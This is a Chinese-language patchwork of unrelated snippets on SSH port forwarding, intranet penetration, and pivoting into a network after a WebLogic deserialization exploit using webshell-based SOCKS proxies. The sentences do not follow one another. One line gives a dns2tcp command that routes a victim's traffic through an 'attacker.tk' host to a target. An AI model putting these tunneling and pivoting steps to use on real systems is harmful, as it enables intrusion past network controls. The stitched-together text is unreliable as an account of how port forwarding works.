然后你就可以在浏览器中或其他支持socks5代理的软件中进行设置。ssh client 和 ssh server 是同一台机器，并充当socks5代理:{you} — {ssh client / ssh server} — {other hosts}。
运行上述命令后，我们可以查看一下，2521端口已经处于监听状态了:再用SQLcl客户端工具连一下数据库，发现能正常连上，说明对localhost:2521的访问已经转发到了对数据库服务器的192.168.3.50:1521访问:
ssh能够提供客户端到服务端的加密传输，当http、ftp等协议被防火墙所拦截时，可以考虑使用SSH的端口转发功能，将其它TCP端口的网络数据通过SSH连接来转发。转发方式一共有三种，分别是：动态转发，本地转发，远端转发。
端口转发，也有人叫端口反弹，简单的很，总结了10个端口转发小技巧，其实就是A能访问B，B能访问C，但是A不能访问C，端口转发就是让A能访问C，举个不恰当的例子:情景:小黑能够访问和控制跳板机，跳板机能访问手机。
要沿路由受害者:4444 → 攻击者 → 目标:5555 转发流量，请使用以下参数运行实用程序:victim$> dns2tcpc.exe -z attacker.tk -k s3cr3t -t 3 -L 4444:target:5555 8.8.8.8。
需要知道，在渗透的整个流程中，根据web应用或者开放的端口进行渗透，获取webshell只是渗透这门艺术的一小部分，在真实的错综复杂的企业环境中进行内网渗透，其实水很深，涉及内网穿透，端口转发，域渗透，提权等一系列的难题。
大家好，我是Echa。工欲善其事、必先利其器，每天都需要通过SSH工具远程登录服务器，那么使用一款高效的连接工具就很有必要。安全外壳协议（Secure Shell，简称SSH）是一种在不安全网络上用于安全远程登录和其他安全网络服务的协议。
好在运气不错，通过weblogic的反序列化RCE拿到系统权限，后来发现了一个尴尬的问题，目标主机不出网，借助搜索引擎，大佬们都在用reGeorgh和Pystinger，这两款工具都是使用webshell来进行socks代理，进而穿透内网，后面确实也达到目的，进内网水了波分。
